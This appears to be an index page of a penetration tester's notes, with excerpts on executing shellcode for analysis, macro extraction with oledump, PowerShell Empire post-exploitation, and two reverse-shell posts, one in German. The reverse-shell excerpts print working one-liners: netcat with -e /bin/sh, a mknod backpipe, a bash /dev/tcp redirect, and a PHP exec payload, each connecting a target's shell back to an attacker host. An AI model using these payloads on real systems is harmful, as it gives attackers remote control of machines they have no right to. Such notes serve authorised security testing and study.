• Shellcode

    See also the Buffer Over­flow post Execute shellcode Sce­nario: You have shell­code. You want to run it to ana­lyze it in a debugger. On Windows Add the shell­code after the break­point with i686-w64-mingw32-cc s.c -o s.exex86_64-w64-mingw32-cc s.c -o s.exe and run it in a debugger. On Linux Add the shell­code after the break­point with gcc [-m32] s.c…

  • Reverse shell

    Important notes Linux nc On the own system: [rlwrap] nc -lnvp 9998 [l=listen,v=verbose,p=port,n=no_resolution] On the target: nc -e /bin/sh 10.0.3.4 4444 Alter­na­tive: mknod /tmp/backpipe p /bin/sh 0</tmp/backpipe | nc $attacker 4444 1>/tmp/backpipe Alter­na­tive: /bin/bash -c 'bash -i >& /dev/tcp/$attacker/4444 0>&1' If nc does­n’t seem on the sys­tem: Try a Perl reverse shell! Bind shell On…

  • Generic analysis tools Extract macros with oledump Use oledump.py to extract macros. List the file contents: python oledump.py $file Exam­ple from an output: ... 7: M 16267 'Macros/VBA/NewMacros' 8: m 932 'Macros/VBA/ThisDocument' ... To show details from a doc­u­ment part use the first num­ber and execute python oledump.py -s $no $file But to extract Macros,…

  • PowerShell Empire

    Main­ly post exploita­tion for AD envi­ron­ments. (Down­load — also includ­ed in Kali sources) Quick usage for privilege escalation General usage Metas­ploit syn­tax / PSE syntax Note: After use­mod­ule don’t for­get to go “back” and to “inter­act” with the agent to see job results! Com­mands with an aster­ix require a high-integri­ty Empire Agent. To upgrade one…

  • Reverse Shell ALT

    IF THE METERPRETER SHELL STUCKS, TRY TO ENTER ENTER MULTIPLE TIMES ON THE VICTIM. Aufbauen  Lausche auf einem Sys­tem, dass erre­icht wer­den kann z.B. mit nc -lnvp 9998 [l=listen,v=verbose,p=port,n=no_resolution] Ini­ti­iere dann die Verbindung vom Ziel­sys­tem. Hier ein Beispiel direkt in PHP: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); ?> Anderes Beispiel, z.B. direkt in ein­er Kon­sole…